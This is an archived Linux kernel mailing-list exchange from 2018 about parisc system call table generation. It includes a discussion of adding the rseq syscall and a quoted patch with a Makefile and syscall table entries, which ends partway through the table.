X-Gm-Message-State: ABuFfoj5T4st8ipXOE/DJPNT2c4/0TFbYvRoYNMSSqoMgnuJIeo3pfzB
        fU7zUMWHXvm6iYZoVwJLdaogcJgKmetsOGmGJws5yA==
X-Google-Smtp-Source: ACcGV63uMrTUXBfJLllNAIXYdlTITYXpg9USJ3E9gAZRvh84sASmjlqte3tMFAcFzuxWgBKsG3OksXS0+E4WtyII4Eg=
X-Received: by 2002:a81:3bc4:: with SMTP id i187-v6mr11322786ywa.82.1538981330562;
 Sun, 07 Oct 2018 23:48:50 -0700 (PDT)
In-Reply-To: <22745bed-baf6-4f08-6801-3529021cf33e@gmx.de>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2892337 gmane.linux.ports.parisc:29099 gmane.linux.kernel.year-2038:3461 gmane.linux.kernel.cross-arch:47489
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2892337>

Hi Helge,

On Mon, 8 Oct 2018 at 11:36, Helge Deller <deller@gmx.de> wrote:
>
> On 08.10.2018 07:52, Firoz Khan wrote:
> > Hi Helge,
> >
> > On Mon, 8 Oct 2018 at 11:11, Helge Deller <deller@gmx.de> wrote:
> >>
> >> On 08.10.2018 07:16, Firoz Khan wrote:
> >>> Signed-off-by: Firoz Khan <firoz.khan@linaro.org>
> >>> ---
> >>>  arch/parisc/kernel/syscalls/syscall.tbl | 3 ++-
> >>>  1 file changed, 2 insertions(+), 1 deletion(-)
> >>>
> >>> diff --git a/arch/parisc/kernel/syscalls/syscall.tbl b/arch/parisc/kernel/syscalls/syscall.tbl
> >>> index 4e85293..4334bb7 100644
> >>> --- a/arch/parisc/kernel/syscalls/syscall.tbl
> >>> +++ b/arch/parisc/kernel/syscalls/syscall.tbl
> >>> @@ -349,4 +349,5 @@
> >>>  347     common  preadv2                         sys_preadv2                     compat_sys_preadv2
> >>>  348     common  pwritev2                        sys_pwritev2                    compat_sys_pwritev2
> >>>  349     common  statx                           sys_statx
> >>> -350  common  io_pgetevents                   sys_io_pgetevents               compat_sys_io_pgetevents
> >>> \ No newline at end of file
> >>> +350  common  io_pgetevents                   sys_io_pgetevents               compat_sys_io_pgetevents
> >>> +351  common  rseq                            sys_rseq                        compat_sys_rseq
> >>
> >> You can't add the rseq syscall for parisc yet.
> >> It needs additional code in the kernel for parisc which hasn't been tested yet.
> >> See my initial untested patch at https://patchwork.kernel.org/patch/10495209/
> >
> > Thanks for your update!
> >
> > When I compiled the kernel I got below warnings.
> >
> > <stdin>:696:2: warning: #warning syscall nfsservctl not implemented [-Wcpp]
> > <stdin>:1335:2: warning: #warning syscall rseq not implemented [-Wcpp]
> >
> > I added an IGNORE entry nfsservctl in script/checksyscalls.sh because this
> > syscall is gone. But we definitely have to keep rseq entry on parisc
> > architecture.
>
> I prefer to keep the warning for rseq for now.

I'm fine with this.

> It reminds me that we still may want the rseq syscall.
> If the warning is a problem, you may simply add the __IGNORE_rseq define.

But I still feel to keep an IGNORE entry, so once you test your patch; we can
remove IGNORE entry and update the syscall.tbl.

I would like you to take the call here :)

Thanks
Firoz

>
> > I can ignore this patch currently as your patch not yet tested.
> >
> > FYI, I have merged the system call table files based on our previous
> > discussions.
> > Please comment on that.
>
> I'll do after testing.
>
> Thanks!
> Helge
>
> > I would appreciate if you can perform a boot test without this patch
> > on the actual
> > platform.
> >
> > Firoz
> >
> >>
> >> Helge
>


From - Thu Nov 08 21:42:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Firoz Khan <firoz.khan@linaro.org>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.year-2038,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH v3 3/6] parisc: add system call table generation support
Date: Mon, 8 Oct 2018 13:03:56 +0530
Lines: 564
Approved: news@gmane.org
Message-ID: <CALxhOnj4r_MUuAa2zvkvxvhQttEvCZ98n2dA9d6CYyvVf2rB3g@mail.gmail.com>
References: <1538975801-13735-1-git-send-email-firoz.khan@linaro.org> <1538975801-13735-4-git-send-email-firoz.khan@linaro.org>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
X-Trace: blaine.gmane.org 1538983928 17665 195.159.176.226 (8 Oct 2018 07:32:08 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 8 Oct 2018 07:32:08 +0000 (UTC)
Cc: y2038 Mailman List <y2038@lists.linaro.org>,
        Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
        Linux-Arch <linux-arch@vger.kernel.org>,
        Arnd Bergmann <arnd@arndb.de>,
        Deepa Dinamani <deepa.kernel@gmail.com>,
        Marcin Juszkiewicz <marcin.juszkiewicz@linaro.org>
To: linux-parisc@vger.kernel.org,
        "James E . J . Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Thomas Gleixner <tglx@linutronix.de>,
        Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
        Philippe Ombredanne <pombredanne@nexb.com>,
        Kate Stewart <kstewart@linuxfoundation.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Oct 08 09:32:02 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1g9Q1J-0004Pj-Df
	for glk-linux-kernel-4@m.gmane.org; Mon, 08 Oct 2018 09:32:02 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1726896AbeJHOoa (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Mon, 8 Oct 2018 10:44:30 -0400
Original-Received: from mail-yb1-f193.google.com ([209.85.219.193]:44365 "EHLO
        mail-yb1-f193.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1725925AbeJHOoa (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Mon, 8 Oct 2018 10:44:30 -0400
Original-Received: by mail-yb1-f193.google.com with SMTP id x5-v6so7901649ybl.11
        for <linux-kernel@vger.kernel.org>; Mon, 08 Oct 2018 00:34:08 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=linaro.org; s=google;
        h=mime-version:references:in-reply-to:from:date:message-id:subject:to
         :cc;
        bh=qfx7U0WZPM68ihx/blf5IFAMvYbOEwCCdZfj/g9PKQg=;
        b=VxoKrCNmpBSsgi9Htm4qg29EMndMCdhTj8ZNutO5F7v7Lc/n9k8lCVpptPq7aOch+P
         nV3c4UvVfCofHjtLpHDB+Kga2VXHz8WjlzXoYfiZH6I4tqxEM8/7RVlWp2OsN8MQ1P5q
         uzdo8rxcea/1SfMB6YoNmYi+MN16yjjr62t8w=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:references:in-reply-to:from:date
         :message-id:subject:to:cc;
        bh=qfx7U0WZPM68ihx/blf5IFAMvYbOEwCCdZfj/g9PKQg=;
        b=gUV1fxixqHNnOmKm80xnlgGZVRxPOyQGgqp8oPEATkS0zrnV5YaXhOlAY7dizE0J3+
         n1BdtoF5Vr0l7mIPdfp3ftgtdcX+PqtuPmFRPWwjdoT+P6UHOT22QqPfqYv091WPZnyB
         z6MFjoB/9Dk6neqcdEFZpZ3m+nSKpiyW+uS7YhGT8SDepuuWQAspqQ5BL9cUUDJPYVL7
         HdcoZbMii/SsNMkCDlNjyIDmF/O7fZdhQO3OgjgMaMH3vaQrhZcTlUKz3mhfj8XgH/Es
         B/T0DAZMAN770osPtchzoTG2PrkIK9HNLCFFZ0CUEVEG5AMaPxO77njDj0DzL1sD+of4
         9QTA==
X-Gm-Message-State: ABuFfoj4dpenO/4My1kjbIpRxpNKMPZ9F3O4FDVqbX5T2QSfE1o2kSSR
        c7sPQMW94+mkR3A/UDjPpC6C1x3JDo8v4yWfn9j9UA==
X-Google-Smtp-Source: ACcGV62UAhrjb3FYtIJ9CCDTQx6te6iegEdu2MTo+TsnVpS5n8Xcex7nSTzU+xMMMQLrraS6kh03hHjngICvJx9pT38=
X-Received: by 2002:a25:b127:: with SMTP id g39-v6mr4461017ybj.483.1538984048175;
 Mon, 08 Oct 2018 00:34:08 -0700 (PDT)
In-Reply-To: <1538975801-13735-4-git-send-email-firoz.khan@linaro.org>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2892365 gmane.linux.ports.parisc:29100 gmane.linux.kernel.year-2038:3462 gmane.linux.kernel.cross-arch:47490
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2892365>

On Mon, 8 Oct 2018 at 10:47, Firoz Khan <firoz.khan@linaro.org> wrote:
>
> The system call tables are in different format in all
> architecture and it will be difficult to manually add or
> modify the system calls in the respective files. To make
> it easy by keeping a script and which'll generate the
> header file and syscall table file so this change will
> unify them across all architectures.
>
> The system call table generation script is added in
> syscalls directory which contain the script to generate
> both uapi header file system call table generation file
> and syscall.tbl file which'll be the input for the
> scripts.
>
> syscall.tbl contains the list of available system calls
> along with system call number and corresponding entry point.
> Add a new system call in this architecture will be possible
> by adding new entry in the syscall.tbl file.
>
> Adding a new table entry consisting of:
>         - System call number.
>         - ABI.
>         - System call name.
>         - Entry point name.
>         - Compat entry name, if required.
>
> syscallhdr.sh and syscalltbl.sh will generate uapi header-
> unistd_32/64.h and syscall_table_32/64/c32.h files respect-
> ively. File syscall_table_32/64/c32.h is included by sys-
> call.S - the real system call table. Both .sh files will
> parse the content syscall.tbl to generate the header and
> table files.
>
> ARM, s390 and x86 architecuture does have the similar support.
> I leverage their implementation to come up with a generic
> solution.
>
> Signed-off-by: Firoz Khan <firoz.khan@linaro.org>
> ---
>  arch/parisc/kernel/syscalls/Makefile      |  55 +++++
>  arch/parisc/kernel/syscalls/syscall.tbl   | 352 ++++++++++++++++++++++++++++++
>  arch/parisc/kernel/syscalls/syscallhdr.sh |  35 +++
>  arch/parisc/kernel/syscalls/syscalltbl.sh |  41 ++++
>  4 files changed, 483 insertions(+)
>  create mode 100644 arch/parisc/kernel/syscalls/Makefile
>  create mode 100644 arch/parisc/kernel/syscalls/syscall.tbl
>  create mode 100644 arch/parisc/kernel/syscalls/syscallhdr.sh
>  create mode 100644 arch/parisc/kernel/syscalls/syscalltbl.sh
>
> diff --git a/arch/parisc/kernel/syscalls/Makefile b/arch/parisc/kernel/syscalls/Makefile
> new file mode 100644
> index 0000000..e4c9c63
> --- /dev/null
> +++ b/arch/parisc/kernel/syscalls/Makefile
> @@ -0,0 +1,55 @@
> +# SPDX-License-Identifier: GPL-2.0
> +kapi := arch/$(SRCARCH)/include/generated/asm
> +uapi := arch/$(SRCARCH)/include/generated/uapi/asm
> +
> +_dummy := $(shell [ -d '$(uapi)' ] || mkdir -p '$(uapi)') \
> +         $(shell [ -d '$(kapi)' ] || mkdir -p '$(kapi)')
> +
> +syscall := $(srctree)/$(src)/syscall.tbl
> +syshdr := $(srctree)/$(src)/syscallhdr.sh
> +systbl := $(srctree)/$(src)/syscalltbl.sh
> +
> +quiet_cmd_syshdr = SYSHDR  $@
> +      cmd_syshdr = $(CONFIG_SHELL) '$(syshdr)' '$<' '$@'  \
> +                  '$(syshdr_abi_$(basetarget))'          \
> +                  '$(syshdr_pfx_$(basetarget))'          \
> +                  '$(syshdr_offset_$(basetarget))'
> +
> +quiet_cmd_systbl = SYSTBL  $@
> +      cmd_systbl = $(CONFIG_SHELL) '$(systbl)' '$<' '$@'  \
> +                   '$(systbl_abi_$(basetarget))'          \
> +                  '$(systbl_offset_$(basetarget))'
> +
> +syshdr_abi_unistd_32 := common,32
> +syshdr_offset_unistd_32 := __NR_Linux
> +$(uapi)/unistd_32.h: $(syscall) $(syshdr)
> +       $(call if_changed,syshdr)
> +
> +syshdr_abi_unistd_64 := common,64
> +syshdr_offset_unistd_64 := __NR_Linux
> +$(uapi)/unistd_64.h: $(syscall) $(syshdr)
> +       $(call if_changed,syshdr)
> +
> +systbl_abi_syscall_table_32 := common,32
> +$(kapi)/syscall_table_32.h: $(syscall) $(systbl)
> +       $(call if_changed,systbl)
> +
> +systbl_abi_syscall_table_64 := common,64
> +$(kapi)/syscall_table_64.h: $(syscall) $(systbl)
> +       $(call if_changed,systbl)
> +
> +systbl_abi_syscall_table_c32 := common,64
> +$(kapi)/syscall_table_c32.h: $(syscall) $(systbl)
> +       $(call if_changed,systbl)
> +
> +uapisyshdr-y                   += unistd_32.h unistd_64.h
> +kapisyshdr-y                   += syscall_table_32.h     \
> +                                   syscall_table_64.h     \
> +                                   syscall_table_c32.h
> +
> +targets        += $(uapisyshdr-y) $(kapisyshdr-y)
> +
> +PHONY += all
> +all: $(addprefix $(uapi)/,$(uapisyshdr-y))
> +all: $(addprefix $(kapi)/,$(kapisyshdr-y))
> +       @:
> diff --git a/arch/parisc/kernel/syscalls/syscall.tbl b/arch/parisc/kernel/syscalls/syscall.tbl
> new file mode 100644
> index 0000000..4e85293
> --- /dev/null
> +++ b/arch/parisc/kernel/syscalls/syscall.tbl
> @@ -0,0 +1,352 @@
> +# SPDX-License-Identifier: GPL-2.0 WITH Linux-syscall-note
> +#
> +# system call numbers and entry vectors for parisc
> +#
> +# The format is:
> +# <number> <abi> <name> <entry point> <compat entry point>
> +#
> +# The <abi> can be common, 64, or 32 for this file.
> +#
> +0       common  restart_syscall                 sys_restart_syscall
> +1       common  exit                            sys_exit
> +2       common  fork                            sys_fork_wrapper
> +3       common  read                            sys_read
> +4       common  write                           sys_write
> +5       common  open                            sys_open                        compat_sys_open
> +6       common  close                           sys_close
> +7       common  waitpid                         sys_waitpid
> +8       common  creat                           sys_creat
> +9       common  link                            sys_link
> +10      common  unlink                          sys_unlink
> +11      common  execve                          sys_execve                      compat_sys_execve
> +12      common  chdir                           sys_chdir
> +13      common  time                            sys_time                        compat_sys_time
> +14      common  mknod                           sys_mknod
> +15      common  chmod                           sys_chmod
> +16      common  lchown                          sys_lchown
> +17      common  socket                          sys_socket
> +18      common  stat                            sys_newstat                     compat_sys_newstat
> +19      common  lseek                           sys_lseek                       compat_sys_lseek
> +20      common  getpid                          sys_getpid
> +21      common  mount                           sys_mount                       compat_sys_mount
> +22      common  bind                            sys_bind
> +23      common  setuid                          sys_setuid
> +24      common  getuid                          sys_getuid
> +25      common  stime                           sys_stime                       compat_sys_stime
> +26      common  ptrace                          sys_ptrace                      compat_sys_ptrace
> +27      common  alarm                           sys_alarm
> +28      common  fstat                           sys_newfstat                    compat_sys_newfstat
> +29      common  pause                           sys_pause
> +30      common  utime                           sys_utime                       compat_sys_utime
> +31      common  connect                         sys_connect
> +32      common  listen                          sys_listen
> +33      common  access                          sys_access
> +34      common  nice                            sys_nice
> +35      common  accept                          sys_accept
> +36      common  sync                            sys_sync
> +37      common  kill                            sys_kill
> +38      common  rename                          sys_rename
> +39      common  mkdir                           sys_mkdir
> +40      common  rmdir                           sys_rmdir
> +41      common  dup                             sys_dup
> +42      common  pipe                            sys_pipe
> +43      common  times                           sys_times                       compat_sys_times
> +44      common  getsockname                     sys_getsockname
> +45      common  brk                             sys_brk
> +46      common  setgid                          sys_setgid
> +47      common  getgid                          sys_getgid
> +48      common  signal                          sys_signal
> +49      common  geteuid                         sys_geteuid
> +50      common  getegid                         sys_getegid
> +51      common  acct                            sys_acct
> +52      common  umount2                         sys_umount
> +53      common  getpeername                     sys_getpeername
> +54      common  ioctl                           sys_ioctl                       compat_sys_ioctl
> +55      common  fcntl                           sys_fcntl                       compat_sys_fcntl
> +56      common  socketpair                      sys_socketpair
> +57      common  setpgid                         sys_setpgid
> +58      common  send                            sys_send
> +59      common  uname                           sys_newuname
> +60      common  umask                           sys_umask
> +61      common  chroot                          sys_chroot
> +62      common  ustat                           sys_ustat                       compat_sys_ustat
> +63      common  dup2                            sys_dup2
> +64      common  getppid                         sys_getppid
> +65      common  getpgrp                         sys_getpgrp
> +66      common  setsid                          sys_setsid
> +67      common  pivot_root                      sys_pivot_root
> +68      common  sgetmask                        sys_sgetmask                    sys32_unimplemented
> +69      common  ssetmask                        sys_ssetmask                    sys32_unimplemented
> +70      common  setreuid                        sys_setreuid
> +71      common  setregid                        sys_setregid
> +72      common  mincore                         sys_mincore
> +73      common  sigpending                      sys_sigpending                  compat_sys_sigpending
> +74      common  sethostname                     sys_sethostname
> +75      common  setrlimit                       sys_setrlimit                   compat_sys_setrlimit
> +76      common  getrlimit                       sys_getrlimit                   compat_sys_getrlimit
> +77      common  getrusage                       sys_getrusage                   compat_sys_getrusage
> +78      common  gettimeofday                    sys_gettimeofday                compat_sys_gettimeofday
> +79      common  settimeofday                    sys_settimeofday                compat_sys_settimeofday
> +80      common  getgroups                       sys_getgroups
> +81      common  setgroups                       sys_setgroups
> +82      common  sendto                          sys_sendto
> +83      common  symlink                         sys_symlink
> +84      common  lstat                           sys_newlstat                    compat_sys_newlstat
> +85      common  readlink                        sys_readlink
> +86      common  uselib                          sys_ni_syscall
> +87      common  swapon                          sys_swapon
> +88      common  reboot                          sys_reboot
> +89      common  mmap2                           sys_mmap2
> +90      common  mmap                            sys_mmap
> +91      common  munmap                          sys_munmap
> +92      common  truncate                        sys_truncate                    compat_sys_truncate
> +93      common  ftruncate                       sys_ftruncate                   compat_sys_ftruncate
> +94      common  fchmod                          sys_fchmod
> +95      common  fchown                          sys_fchown
> +96      common  getpriority                     sys_getpriority
> +97      common  setpriority                     sys_setpriority
> +98      common  recv                            sys_recv
> +99      common  statfs                          sys_statfs                      compat_sys_statfs
> +100     common  fstatfs                         sys_fstatfs                     compat_sys_fstatfs
> +101     common  stat64                          sys_stat64
> +103     common  syslog                          sys_syslog
> +104     common  setitimer                       sys_setitimer                   compat_sys_setitimer
> +105     common  getitimer                       sys_getitimer                   compat_sys_getitimer
> +106     common  capget                          sys_capget
> +107     common  capset                          sys_capset
> +108     32      pread64                         parisc_pread64
> +108     64      pread64                         sys_pread64                     parisc_pread64
> +109     32      pwrite64                        parisc_pwrite64
> +109     64      pwrite64                        sys_pwrite64                    parisc_pwrite64
> +110     common  getcwd                          sys_getcwd
> +111     common  vhangup                         sys_vhangup
> +112     common  fstat64                         sys_fstat64
> +113     common  vfork                           sys_vfork_wrapper
> +114     common  wait4                           sys_wait4                       compat_sys_wait4
> +115     common  swapoff                         sys_swapoff
> +116     common  sysinfo                         sys_sysinfo                     compat_sys_sysinfo
> +117     common  shutdown                        sys_shutdown
> +118     common  fsync                           sys_fsync
> +119     common  madvise                         sys_madvise
> +120     common  clone                           sys_clone_wrapper
> +121     common  setdomainname                   sys_setdomainname
> +122     common  sendfile                        sys_sendfile                    compat_sys_sendfile
> +123     common  recvfrom                        sys_recvfrom
> +124     common  adjtimex                        sys_adjtimex                    compat_sys_adjtimex
> +125     common  mprotect                        sys_mprotect
> +126     common  sigprocmask                     sys_sigprocmask                 compat_sys_sigprocmask
> +128     common  init_module                     sys_init_module
> +129     common  delete_module                   sys_delete_module
> +131     common  quotactl                        sys_quotactl
> +132     common  getpgid                         sys_getpgid
> +133     common  fchdir                          sys_fchdir
> +134     common  bdflush                         sys_bdflush
> +135     common  sysfs                           sys_sysfs
> +136     32      personality                     parisc_personality
> +136     64      personality                     sys_personality                 parisc_personality
> +138     common  setfsuid                        sys_setfsuid
> +139     common  setfsgid                        sys_setfsgid
> +140     common  _llseek                         sys_llseek
> +141     common  getdents                        sys_getdents                    compat_sys_getdents
> +142     common  _newselect                      sys_select                      compat_sys_select
> +143     common  flock                           sys_flock
> +144     common  msync                           sys_msync
> +145     common  readv                           sys_readv                       compat_sys_readv
> +146     common  writev                          sys_writev                      compat_sys_writev
> +147     common  getsid                          sys_getsid
> +148     common  fdatasync                       sys_fdatasync
> +149     common  _sysctl                         sys_sysctl                      compat_sys_sysctl
> +150     common  mlock                           sys_mlock
> +151     common  munlock                         sys_munlock
> +152     common  mlockall                        sys_mlockall
> +153     common  munlockall                      sys_munlockall
> +154     common  sched_setparam                  sys_sched_setparam
> +155     common  sched_getparam                  sys_sched_getparam
> +156     common  sched_setscheduler              sys_sched_setscheduler
> +157     common  sched_getscheduler              sys_sched_getscheduler
> +158     common  sched_yield                     sys_sched_yield
> +159     common  sched_get_priority_max          sys_sched_get_priority_max
> +160     common  sched_get_priority_min          sys_sched_get_priority_min
> +161     common  sched_rr_get_interval           sys_sched_rr_get_interval       compat_sys_sched_rr_get_interval
> +162     common  nanosleep                       sys_nanosleep                   compat_sys_nanosleep
> +163     common  mremap                          sys_mremap
> +164     common  setresuid                       sys_setresuid
> +165     common  getresuid                       sys_getresuid
> +166     common  sigaltstack                     sys_sigaltstack                 compat_sys_sigaltstack
> +168     common  poll                            sys_poll
> +170     common  setresgid                       sys_setresgid
> +171     common  getresgid                       sys_getresgid
> +172     common  prctl                           sys_prctl
> +173     common  rt_sigreturn                    sys_rt_sigreturn
> +174     common  rt_sigaction                    sys_rt_sigaction                compat_sys_rt_sigaction
> +175     common  rt_sigprocmask                  sys_rt_sigprocmask              compat_sys_rt_sigprocmask
> +176     common  rt_sigpending                   sys_rt_sigpending               compat_sys_rt_sigpending
> +177     common  rt_sigtimedwait                 sys_rt_sigtimedwait             compat_sys_rt_sigtimedwait
> +178     common  rt_sigqueueinfo                 sys_rt_sigqueueinfo             compat_sys_rt_sigqueueinfo
> +179     common  rt_sigsuspend                   sys_rt_sigsuspend               compat_sys_rt_sigsuspend
> +180     common  chown                           sys_chown
> +181     common  setsockopt                      sys_setsockopt                  compat_sys_setsockopt
> +182     common  getsockopt                      sys_getsockopt                  compat_sys_getsockopt
> +183     common  sendmsg                         sys_sendmsg                     compat_sys_sendmsg
> +184     common  recvmsg                         sys_recvmsg                     compat_sys_recvmsg
> +185     common  semop                           sys_semop
> +186     common  semget                          sys_semget
> +187     common  semctl                          sys_semctl                      compat_sys_semctl
> +188     common  msgsnd                          sys_msgsnd                      compat_sys_msgsnd
> +189     common  msgrcv                          sys_msgrcv                      compat_sys_msgrcv
> +190     common  msgget                          sys_msgget
> +191     common  msgctl                          sys_msgctl                      compat_sys_msgctl
> +192     common  shmat                           sys_shmat                       compat_sys_shmat
> +193     common  shmdt                           sys_shmdt
> +194     common  shmget                          sys_shmget
> +195     common  shmctl                          sys_shmctl                      compat_sys_shmctl
> +198     common  lstat64                         sys_lstat64
> +199     32      truncate64                      parisc_truncate64
> +199     64      truncate64                      sys_truncate64                  parisc_truncate64
> +200     32      ftruncate64                     parisc_ftruncate64
> +200     64      ftruncate64                     sys_ftruncate64                 parisc_ftruncate64
> +201     common  getdents64                      sys_getdents64
> +202     common  fcntl64                         sys_fcntl64                     compat_sys_fcntl64
> +206     common  gettid                          sys_gettid
> +207     32      readahead                       parisc_readahead
> +207     64      readahead                       sys_readahead                   parisc_readahead
> +208     common  tkill                           sys_tkill
> +209     common  sendfile64                      sys_sendfile64                  compat_sys_sendfile64
> +210     common  futex                           sys_futex                       compat_sys_futex
> +211     common  sched_setaffinity               sys_sched_setaffinity           compat_sys_sched_setaffinity
> +212     common  sched_getaffinity               sys_sched_getaffinity           compat_sys_sched_getaffinity
> +215     common  io_setup                        sys_io_setup                    compat_sys_io_setup
> +216     common  io_destroy                      sys_io_destroy
> +217     common  io_getevents                    sys_io_getevents                compat_sys_io_getevents
> +218     common  io_submit                       sys_io_submit                   compat_sys_io_submit
> +219     common  io_cancel                       sys_io_cancel
> +222     common  exit_group                      sys_exit_group
> +223     common  lookup_dcookie                  sys_lookup_dcookie              compat_sys_lookup_dcookie
> +224     common  epoll_create                    sys_epoll_create
> +225     common  epoll_ctl                       sys_epoll_ctl
> +226     common  epoll_wait                      sys_epoll_wait
> +227     common  remap_file_pages                sys_remap_file_pages
> +228     common  semtimedop                      sys_semtimedop                  compat_sys_semtimedop
> +229     common  mq_open                         sys_mq_open                     compat_sys_mq_open
> +230     common  mq_unlink                       sys_mq_unlink
> +231     common  mq_timedsend                    sys_mq_timedsend                compat_sys_mq_timedsend
> +232     common  mq_timedreceive                 sys_mq_timedreceive             compat_sys_mq_timedreceive
> +233     common  mq_notify                       sys_mq_notify                   compat_sys_mq_notify
> +234     common  mq_getsetattr                   sys_mq_getsetattr               compat_sys_mq_getsetattr
> +235     common  waitid                          sys_waitid                      compat_sys_waitid
> +236     32      fadvise64_64                    parisc_fadvise64_64
> +236     64      fadvise64_64                    sys_fadvise64_64                parisc_fadvise64_64
> +237     common  set_tid_address                 sys_set_tid_address
> +238     common  setxattr                        sys_setxattr
> +239     common  lsetxattr                       sys_lsetxattr
> +240     common  fsetxattr                       sys_fsetxattr
> +241     common  getxattr                        sys_getxattr
> +242     common  lgetxattr                       sys_lgetxattr
> +243     common  fgetxattr                       sys_fgetxattr
> +244     common  listxattr                       sys_listxattr
> +245     common  llistxattr                      sys_llistxattr
> +246     common  flistxattr                      sys_flistxattr
> +247     common  removexattr                     sys_removexattr
> +248     common  lremovexattr                    sys_lremovexattr
> +249     common  fremovexattr                    sys_fremovexattr
> +250     common  timer_create                    sys_timer_create                compat_sys_timer_create
> +251     common  timer_settime                   sys_timer_settime               compat_sys_timer_settime
> +252     common  timer_gettime                   sys_timer_gettime               compat_sys_timer_gettime
> +253     common  timer_getoverrun                sys_timer_getoverrun
> +254     common  timer_delete                    sys_timer_delete
> +255     common  clock_settime                   sys_clock_settime               compat_sys_clock_settime
> +256     common  clock_gettime                   sys_clock_gettime               compat_sys_clock_gettime
> +257     common  clock_getres                    sys_clock_getres                compat_sys_clock_getres
> +258     common  clock_nanosleep                 sys_clock_nanosleep             compat_sys_clock_nanosleep
> +259     common  tgkill                          sys_tgkill
> +260     common  mbind                           sys_mbind                       compat_sys_mbind
> +261     common  get_mempolicy                   sys_get_mempolicy               compat_sys_get_mempolicy
> +262     common  set_mempolicy                   sys_set_mempolicy               compat_sys_set_mempolicy
> +264     common  add_key                         sys_add_key
> +265     common  request_key                     sys_request_key
> +266     common  keyctl                          sys_keyctl                      compat_sys_keyctl
> +267     common  ioprio_set                      sys_ioprio_set
> +268     common  ioprio_get                      sys_ioprio_get
> +269     common  inotify_init                    sys_inotify_init
> +270     common  inotify_add_watch               sys_inotify_add_watch
> +271     common  inotify_rm_watch                sys_inotify_rm_watch
> +272     common  migrate_pages                   sys_migrate_pages
> +273     common  pselect6                        sys_pselect6                    compat_sys_pselect6
> +274     common  ppoll                           sys_ppoll                       compat_sys_ppoll
> +275     common  openat                          sys_openat                      compat_sys_openat
> +276     common  mkdirat                         sys_mkdirat
> +277     common  mknodat                         sys_mknodat
> +278     common  fchownat                        sys_fchownat
> +279     common  futimesat                       sys_futimesat                   compat_sys_futimesat
> +280     common  fstatat64                       sys_fstatat64
> +281     common  unlinkat                        sys_unlinkat
> +282     common  renameat                        sys_renameat
> +283     common  linkat                          sys_linkat
> +284     common  symlinkat                       sys_symlinkat
> +285     common  readlinkat                      sys_readlinkat
> +286     common  fchmodat                        sys_fchmodat
> +287     common  faccessat                       sys_faccessat
> +288     common  unshare                         sys_unshare
> +289     common  set_robust_list                 sys_set_robust_list             compat_sys_set_robust_list
> +290     common  get_robust_list                 sys_get_robust_list             compat_sys_get_robust_list
> +291     common  splice                          sys_splice
> +292     32      sync_file_range                 parisc_sync_file_range
> +292     64      sync_file_range                 sys_sync_file_range             parisc_sync_file_range
> +293     common  tee                             sys_tee
> +294     common  vmsplice                        sys_vmsplice                    compat_sys_vmsplice
> +295     common  move_pages                      sys_move_pages                  compat_sys_move_pages
> +296     common  getcpu                          sys_getcpu
> +297     common  epoll_pwait                     sys_epoll_pwait                 compat_sys_epoll_pwait
> +298     common  statfs64                        sys_statfs64                    compat_sys_statfs64
> +299     common  fstatfs64                       sys_fstatfs64                   compat_sys_fstatfs64
> +300     common  kexec_load                      sys_kexec_load                  compat_sys_kexec_load
> +301     common  utimensat                       sys_utimensat                   compat_sys_utimensat
> +302     common  signalfd                        sys_signalfd                    compat_sys_signalfd
> +304     common  eventfd                         sys_eventfd
> +305     32      fallocate                       parisc_fallocate
> +305     64      fallocate                       sys_fallocate                   parisc_fallocate
> +306     common  timerfd_create                  sys_timerfd_create
> +307     common  timerfd_settime                 sys_timerfd_settime             compat_sys_timerfd_settime
> +308     common  timerfd_gettime                 sys_timerfd_gettime             compat_sys_timerfd_gettime
> +309     common  signalfd4                       sys_signalfd4                   compat_sys_signalfd4
> +310     common  eventfd2                        sys_eventfd2
> +311     common  epoll_create1                   sys_epoll_create1
> +312     common  dup3                            sys_dup3
> +313     common  pipe2                           sys_pipe2
> +314     common  inotify_init1                   sys_inotify_init1
> +315     common  preadv                          sys_preadv                      compat_sys_preadv
> +316     common  pwritev                         sys_pwritev                     compat_sys_pwritev
> +317     common  rt_tgsigqueueinfo               sys_rt_tgsigqueueinfo           compat_sys_rt_tgsigqueueinfo
> +318     common  perf_event_open                 sys_perf_event_open
> +319     common  recvmmsg                        sys_recvmmsg                    compat_sys_recvmmsg
> +320     common  accept4                         sys_accept4
> +321     common  prlimit64                       sys_prlimit64
> +322     common  fanotify_init                   sys_fanotify_init
> +323     common  fanotify_mark                   sys_fanotify_mark               sys32_fanotify_mark
> +324     common  clock_adjtime                   sys_clock_adjtime               compat_sys_clock_adjtime
> +325     common  name_to_handle_at               sys_name_to_handle_at
